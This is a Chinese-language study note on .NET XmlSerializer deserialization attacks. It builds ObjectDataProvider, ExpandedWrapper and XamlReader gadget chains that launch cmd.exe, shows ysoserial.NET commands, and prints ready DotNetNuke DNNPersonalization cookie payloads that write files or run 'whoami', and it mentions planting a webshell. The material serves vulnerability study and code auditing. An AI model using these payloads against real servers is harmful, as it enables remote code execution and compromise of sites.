.NET XmlSerializer
结构化XML数据映射为.NET对象,XmlSerializer 类的程序中通过单个API 调用来执行XML文档和对象之间的转换,转换后会在.NET类中元数据属性来表示,当Web程序,用户可控Type类的静态方法获取数据,并调用Deserialize反序列化xml数据就会触发反序列化漏洞攻击。
(本文主要是一次对.net 序列化漏洞的学习笔记,如本文有错误、还请大佬们多多指点)
XmlSerialize 反序列化
序列化过程
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
namespace WpfApp1
{
[XmlRoot]
public class TestClass
{
private string classname;
private string name;
private int age;
[XmlAttribute]
public string Classname { get => classname; set => classname = value; }
[XmlElement]
public string Name { get => name; set => name = value; }
[XmlElement]
public int Age { get => age; set => age = value; }
public override string ToString()
{
return base.ToString();
}
}
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
TestClass testClass = new TestClass();
testClass.Classname = "test";
testClass.Name = "0xdd";
testClass.Age = 18;
FileStream fileStream = File.OpenWrite(@"C:\Windows\Temp\log.txt");
using (TextWriter writer = new StreamWriter(fileStream))
{
XmlSerializer serialize = new XmlSerializer(typeof(TestClass));
serialize.Serialize(writer, testClass);
}
}
}
}
成功生成xml 数据 在 log.txt
反序列化过程
将xml 文件 转换为对象是通过创建一个新对象的方式调用,XmlSerializer.Deserialize 方法实现,在序列化最关键的一环当属new XmlSerializer 构造方法里所传的参数,这个参数来自System.Type类 ,通过这个类可以访问关于任意数据类型的信息,指向任何给类型的Type 引用 有以下三种方式
typeof
实例化的XmlSerializer 传入的typeof(TestClass) 表示获取TestClass类的Type
typeof是C#中的运算符,所传的参数只能是类型的名称,而不能是实例化的对象,如下Demo
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
namespace WpfApp1
{
[XmlRoot]
public class TestClass
{
private string classname;
private string name;
private int age;
[XmlAttribute]
public string Classname { get => classname; set => classname = value; }
[XmlElement]
public string Name { get => name; set => name = value; }
[XmlElement]
public int Age { get => age; set => age = value; }
public override string ToString()
{
return base.ToString();
}
}
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
TestClass testClass = new TestClass();
//testClass.Classname = "test";
//testClass.Name = "0xdd";
//testClass.Age = 18;
//FileStream fileStream = File.OpenWrite(@"C:\Windows\Temp\log.txt");
//using (TextWriter writer = new StreamWriter(fileStream))
//{
// XmlSerializer serialize = new XmlSerializer(typeof(TestClass));
// serialize.Serialize(writer, testClass);
//}
using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
{
var serializers = new XmlSerializer(typeof(TestClass));
testClass = serializers.Deserialize(stream) as TestClass;
}
MessageBox.Show(testClass.Name);
}
}
}
通过typeof 获取Type 之后就能得到该类中所有的Methods、Members等信息 ,下图在运行时、通过反序列化在对话框获取了当前成员Name的值
object.Type
在.NET里所有的类最终都派生自System.Object , 在Object 类中定义了许多公有和受保护的成员方法,这些方法可用于自己定义的所有其他类中,GetType方法就是其中的一个,该方法放回从System.Type派生的类 的一个实例,因为可以提供对象成员和所属类的信息,包括基本类型、方法、属性等,上述案例中实例化TestClass,再获取当前实例的Type
using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
{
var serializers = new XmlSerializer(testClass.GetType());
testClass = serializers.Deserialize(stream) as TestClass;
}
MessageBox.Show(testClass.Name);
}
Type.GetType
第三种方法是Type类的静态方法GetType,这个方法允许外界传入字符串,只需要传入全限定名就可以调用该类中的方法、属性等
using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
{
var serializers = new XmlSerializer(Type.GetType("WpfApp1.TestClass"));
testClass = serializers.Deserialize(stream) as TestClass;
}
MessageBox.Show(testClass.Name);
打造攻击链
ObjectDataProvider
ObjectDataProvider 类,它位于System.Windows.Data 命名空间下,可以调用任意被引用类中的的方法,提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数
demo
ObjectDataProvider object1 = new ObjectDataProvider();
object1.ObjectInstance = new TestClass();
object1.MethodName = "ClassMethod";
object1.MethodParameters.Add("calc.exe");
因为直接用XmlSerializer 序列化会抛出异常,因为再序列化过程中 ObjectInstance 类型未知,可以使用ExpandedWrapper 扩展类再系统内部预先加载相关实体的查询来避免异常错误,改写Demo
ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>();
wrapper.ProjectedProperty0 = new ObjectDataProvider();
wrapper.ProjectedProperty0.ObjectInstance = new TestClass();
wrapper.ProjectedProperty0.MethodName = "ClassMethod";
wrapper.ProjectedProperty0.MethodParameters.Add("notepad.exe");
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml");
serializer1.Serialize(textWriter2, wrapper);
textWriter2.Close();
ExpandedWrapper 需要使用引用 System.Data.Services.Internal;
完整WPFdemo
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
using System.Data.Services.Internal;
namespace WpfApp1
{
[XmlRoot]
public class TestClass
{
private string classname;
private string name;
private int age;
public void ClassMethod(string command) {
System.Diagnostics.Process cmd_run = new System.Diagnostics.Process();
cmd_run.StartInfo.FileName = "cmd.exe";
cmd_run.StartInfo.UseShellExecute = false;
cmd_run.StartInfo.RedirectStandardError = true;
cmd_run.StartInfo.RedirectStandardOutput = true;
cmd_run.StartInfo.RedirectStandardInput = true;
cmd_run.StartInfo.Arguments = "/c" + command;
cmd_run.Start();
}
[XmlAttribute]
public string Classname { get => classname; set => classname = value; }
[XmlElement]
public string Name { get => name; set => name = value; }
[XmlElement]
public int Age { get => age; set => age = value; }
public override string ToString()
{
return base.ToString();
}
}
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
{
var serializers = new XmlSerializer(Type.GetType("WpfApp1.TestClass"));
testClass = serializers.Deserialize(stream) as TestClass;
}
MessageBox.Show(testClass.Name);
ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>();
wrapper.ProjectedProperty0 = new ObjectDataProvider();
wrapper.ProjectedProperty0.ObjectInstance = new TestClass();
wrapper.ProjectedProperty0.MethodName = "ClassMethod";
wrapper.ProjectedProperty0.MethodParameters.Add("notepad.exe");
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml");
serializer1.Serialize(textWriter2, wrapper);
textWriter2.Close();
}
}
}
生成内容:
<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfTestClassObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ProjectedProperty0>
<ObjectInstance xsi:type="TestClass">
<Age>0</Age>
</ObjectInstance>
<MethodName>ClassMethod</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">notepad.exe</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfTestClassObjectDataProvider>
这样攻击链第一步就完成了,但是因为这里测试环境 TestClass类 存在ClassMethod 方法 可以执行命令,但在实际的生产环境中是非常复杂的,所以为了使攻击成本降低
需要调用系统类取达到命令执行。
ResourceDictionary
ResourceDictionary,称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源,既然是WPF程序,必然设计到前端UI设计语言XAML,
XAML全程 Extensible Application Markup Language (可扩展应用程序标记语言) 基于XML的,且XAML是以一个树形结构作为整体
参考来源于Ivan1ee师傅的.NET高级代码审计
- 第一个标签ResourceDictionary,xmlns:Runtime 表示读取System.Diagnostics 命令空间的名称起个别名为Runtime
- 第二个标签ObjectDataProvider 指定了三个属性,x:key 便于条件检索,意义不大,但是必须定义。ObjectType 用来获取或设置要创建其实例的对象的类型,并使用了XAML扩展
x:Type 相当于C#中typeof运算符功能,这里传递的值是System.Diagnostics.Process;MethodName 用来获取或设置调用的方法的名称,传递的值为System.Diagonstics.Process.Start 方法用来启动一个进程
- 第三个标签 ObjectDataProvider.MethodParameters 内嵌了两个方法参数标签,通过 System:String 分别指定了启动文件和启动时所带参数供Start方法使用
XAML概述
可扩展应用程序标记语言 (XAML) 是一种基于 XML 的声明性语言。XAML 广泛用于以下类型的应用程序以构建用户界面
-Windows Presentation Foundation (WPF) 应用
-通用 Windows 平台 (UWP) 应用
-Xamarin.Forms 应用
XAML demo 用途
- 使用
<Button Click="ButtonClick" Margin="136,116,60,55" Grid.Row="1">Button Click 0xdd</Button> 创建按钮
XamlReader
XamlReader 位于System.Windows.Markup 空间下,主要用来读取XAML文件,默认的XAML读取器,通过Load读取STream流中的XAML数据,并返回作为根对象,Parse方法读取指定字符串的XAML输入,
也同样返回作为根对象。
https://docs.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader?view=windowsdesktop-6.0
使用ObjectDataProvider 的ObjectInstance 方法实例化XamlReader 再指定MethodName 为Parse,并且给 MethodParameters 传递序列化之后的资源字典数据,这样就可以完成XmlSerializer 反序列化攻击链的打造。
- 实例ObjectDataProvider 实例化XamlReader 调用过程
xmlstudy.xml
0x01 xmlns:Diag 引用了System.Diagnostics 命令空间起名为Diag
0x02 x:key 起名为LaunchCalch 这个值也可为空,在xaml语法中, Key这个键值必须有
0x03 ObjectType 表示对象类型
0x04 x:Type 相等于 typeof()
0x05 MethodName 是ObjectDataProvider 的属性,值为Start、指定调用Start方法
0x06 Diag:Process 等同于 System.Diagnostics.Process
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
调用过程 使XamlReader Parse方法 接收指定的 xml 数据
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
using System.Data.Services.Internal;
using System.Windows.Markup;
namespace WpfApp1
{
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
ExpandedWrapper<XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
wrapper.ProjectedProperty0 = new ObjectDataProvider();
wrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
wrapper.ProjectedProperty0.MethodName = "Parse";
wrapper.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(@"C:\WIndows\temp\xmlstudy.xml"));
}
}
}
demo
ysoserial.exe -g ObjectDataProvider -calc -f xmlserializer
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c alc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c alc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
using System.Data.Services.Internal;
using System.Windows.Markup;
namespace WpfApp1
{
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XmlDeserialize(xml);
}
public static void XmlDeserialize(string o)
{
XamlReader.Parse(o);
}
}
}
攻击链形式
汇总来说攻击链分了2种形式
- ObjectDataProvider – > Class.Evil() 该种方法 需要代码中有类含有恶意的方法
- ObjectDataProvider – > XamlReader.Parse() – > ObjectDataProvider -> System.Diagnostics.Process.Start(“cmd.exe”,”/c notepad.exe”) 通用调用
XmlSerialize 代码审计视角
入口点
通过dNSpy工具 对代码进行审计,根据漏洞描述,我们可以明确,通过设定Cookie DNNPersonalization 的值 造成远程代码执行
从代码41中行可以看出,当 if(userId > Null.NullInteger) 条件不满足时 会从Cookie中取出DNNPersonalization 的值, 赋值给text 并由 Globals.DeserializeHashTableXml(text)) 传入
XmlUtils.DeSerializeHashtable() 函数
跟入Globals.DeserializeHashTableXml
继续跟进 DeSerializeHashtable
XmlDocument 命名空间:System.xml 表示 XML 文档。 可使用此类在文档中加载、验证、编辑、添加和放置 XML。
详细可参考 https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.xmldocument?view=net-6.0
XmlElement 命名空间:System.xml 元素可以有与之关联的属性,例如使用 GetAttribute 方法 返回具有指定名称的属性的值。
https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.xmlelement?view=net-6.0
分析函数功能,
1.初始化了XmlDocumnet,并通过LoadXml 传入xmlSource,通过 xmlDocument.SelectNodes(rootname + “/item”) 进行选择匹配 XPath 表达式的节点列表。
rootname的值 为 return XmlUtils.DeSerializeHashtable(Source, “profile”); 传入的 profile,那么获取的为<profile><item>标签中的值
2.通过传入的xml数据,使用xmlElement.GetAttribute 获取 type 属性的值,并生成XmlSerializer实例, 通过代码160-163行 可以看到此时 type 和xmlReader 我们都是可控的
构造payload
首先上文已经提到了2条攻击链的形式
- 1.利用本身程序的方法
具体大家想使用哪个方法,都可以自行查找一些由价值的方法,这里举一个读文件的例子,在 DotNetNuke.Common.Utilities.FileSystemUtils 中
按照上文所说的打造攻击链,使用 ExpandedWrapper 进行Payload 构造
需要添加 DoNetNuke.dll DotNetNuke.Instrumentation.dll 引用
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows;
using System.Threading.Tasks;
using System.Windows.Data;
using System.Xml.Linq;
using System.IO;
using System.Xml.Serialization;
using DotNetNuke.Common.Utilities;
using System.Data.Services.Internal;
namespace ConsoleApp11
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> wrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>));
Type GetobjType = typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>);
Console.Write(GetobjType.AssemblyQualifiedName);
wrapper.ProjectedProperty0 = new ObjectDataProvider();
wrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
wrapper.ProjectedProperty0.MethodName = "WriteFile";
wrapper.ProjectedProperty0.MethodParameters.Add("C:\\Windows\\Temp\\0xdd.txt");
TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml");
serializer1.Serialize(textWriter2, wrapper);
textWriter2.Close();
}
}
}
运行后生成出了 Payload 并获取了type
type
System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
根据上面读取DeSerializeHashtable方法的代码,我们还要构造以下xml,使程序可以成功读取type 和xml数据,
<profile><item key="key:0xdd" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" /><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\inetpub\wwwroot\0xdd.txt</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
请求一个404的页面,在cookie 中DNNPersonalization 传入数据,成功获取到文件内容
当然,也可以利用DotNetNuke.Common.Utilities.FileSystemUtils中的 PullFile 把远程的文件,下载到指定目录 (例:下载Webshell至指定目录)
- 2.找通用组件的方法
ObjectStateFormatter 一般用于序列化和反序列化状态对象图,位于命名空间System.Web.UI、 Deserialize 方法 支持函数多态,可以处理二进制数据、BASE64数据
可以直接利用.net ysoserial 工具 生成DotNetNuke ObjectStateFormatter利用的payload
.net ysoserial 工具
ysoserial.exe -p DotNetNuke -m run_command -c whoami
<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEykgcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC0BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyB3aG9hbWkiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
可以发现关键点 type和xmlReader 可控,除了DotNetNuke 使用了XmlSerialize,还可以尝试用SharePoint 进行练手